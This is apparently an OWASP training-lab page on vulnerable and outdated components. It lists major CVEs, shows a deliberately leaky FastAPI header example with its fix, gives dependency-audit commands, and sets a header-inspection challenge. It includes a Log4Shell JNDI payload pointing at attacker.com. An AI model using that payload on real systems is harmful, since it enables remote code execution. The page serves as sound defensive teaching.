๐Ÿ›ก OWASP Lab
A06:2021 Medium

Vulnerable & Outdated Components

Theory

Every application uses open-source libraries, frameworks, and system packages. A06 Vulnerable and Outdated Components addresses the risk of running code you didn't write โ€” code that may already have a published CVE, a public exploit, and an active attacker scanning for it. This category was formerly #9 (2017) but moved to #6 because supply chain attacks became mainstream.

What Makes a Component Vulnerable

  • Known CVEs โ€” the library has a publicly disclosed vulnerability in the National Vulnerability Database (NVD) and a CVSS score. Attackers scan for version strings in HTTP headers and serve targeted exploits.
  • Outdated/unmaintained packages โ€” a dependency has not received security updates in years and is no longer supported
  • Version disclosure โ€” returning exact version numbers in HTTP response headers (Server: Apache 2.4.49) tells attackers exactly which CVEs to target
  • Transitive dependencies โ€” your code depends on package A which depends on package B (v1.2.3 with a critical CVE). You never installed B directly, but it runs in your process
  • Supply chain attacks โ€” a malicious package published under a similar name (typosquatting) or a maintainer account compromised to push backdoored code

Real CVEs That Are Still Actively Exploited

CVE-2021-44228  Log4Shell (Apache Log4j 2.x)       CVSS 10.0  RCE via JNDI lookup in log messages
CVE-2021-26084  Confluence OGNL injection           CVSS 9.8   RCE; exploited by state actors within hours of disclosure
CVE-2022-22965  Spring4Shell (Spring Framework)     CVSS 9.8   RCE; affects Spring MVC on JDK 9+
CVE-2017-5638   Apache Struts 2 (Equifax breach)    CVSS 10.0  OGNL injection โ†’ 147M records stolen
CVE-2019-0708   BlueKeep (Windows RDP)              CVSS 9.8   Wormable RCE without authentication
CVE-2021-3129   Laravel Debug Mode RCE              CVSS 9.8   Debug mode + vulnerable Ignition = RCE

Version Disclosure โ€” Vulnerable vs Fixed

# VULNERABLE โ€” leaking version information in response headers
@app.get("/")
def index(response: Response):
    response.headers["Server"] = "Apache/2.4.49"         # CVE-2021-41773 path traversal!
    response.headers["X-Powered-By"] = "PHP/7.3.4"       # known RCE CVEs
    response.headers["X-Build-Info"] = "ratapp/1.0+secret=supersecretkey"
    return {"hello": "world"}

# FIXED โ€” suppress all version information
@app.middleware("http")
async def remove_version_headers(request, call_next):
    response = await call_next(request)
    response.headers.pop("Server", None)           # remove or set to generic string
    response.headers.pop("X-Powered-By", None)
    response.headers.pop("X-AspNet-Version", None)
    return response

Dependency Auditing

# Python โ€” audit installed packages against the safety DB / PyPI advisories
pip install pip-audit
pip-audit

# Node.js โ€” built-in vulnerability scanner
npm audit
npm audit fix   # auto-upgrade non-breaking fixes

# Multi-language via Snyk
snyk test
snyk monitor   # continuous monitoring; alerts on new CVEs for your locked deps

# Docker images โ€” scan the container itself
docker scout cves unclerat/myapp:latest
trivy image unclerat/myapp:latest

# Java โ€” OWASP Dependency-Check
mvn org.owasp:dependency-check-maven:check

Supply Chain Attack Example โ€” Log4Shell

# Log4j 2.x (versions < 2.15.0) evaluates JNDI lookups inside log messages
# A single line of attacker-controlled input reaching any logger = RCE

# Attack payload sent in HTTP header (User-Agent, X-Forwarded-For, etc.):
User-Agent: ${jndi:ldap://attacker.com/exploit}

# Log4j logs the User-Agent, evaluates the JNDI expression,
# fetches a malicious Java class from attacker.com, and executes it.

# FIXED: upgrade Log4j to >= 2.17.1, or set:
# -Dlog4j2.formatMsgNoLookups=true  (JVM flag)
# LOG4J_FORMAT_MSG_NO_LOOKUPS=true  (env var)

Real-World Breaches

  • Equifax (2017) โ€” Apache Struts CVE-2017-5638 was patched 2 months before the breach, but Equifax had not applied it. 147 million SSNs exposed.
  • SolarWinds (2020) โ€” Attackers compromised the build pipeline and inserted a backdoor into the Orion software update, affecting 18,000 organisations including US government agencies
  • event-stream (2018) โ€” A popular npm package was handed to a new maintainer who added a payload targeting the Copay Bitcoin wallet. Downloaded 8 million times before discovery
  • Log4Shell (2021) โ€” CVE-2021-44228 in Log4j affected hundreds of millions of systems; exploited within hours of public disclosure

How to Fix โ€” Checklist

  • Lock and audit dependencies โ€” use lock files (requirements.txt, package-lock.json, go.sum) and run pip-audit / npm audit / Snyk in CI
  • Subscribe to security advisories โ€” follow GitHub Security Advisories, NVD feeds, and vendor mailing lists for all components you use
  • Remove unused dependencies โ€” every extra package is an extra attack surface. Run pip-check or depcheck to find unused packages
  • Suppress version headers โ€” never advertise your tech stack in HTTP responses
  • Use Dependabot or Renovate โ€” automated PRs when a new version of a dependency is released, including security patches
  • Verify package integrity โ€” use checksums/sigstore for critical dependencies; prefer packages with 2FA-enforced publishing
Challenge 1

Version Disclosure via Response Headers

The application leaks component versions in HTTP headers. Inspect the response headers from /web/a06/version โ€” a hidden secret is embedded in the build metadata.

Hint
Check the X-Build-Info and X-Powered-By response headers using curl -I.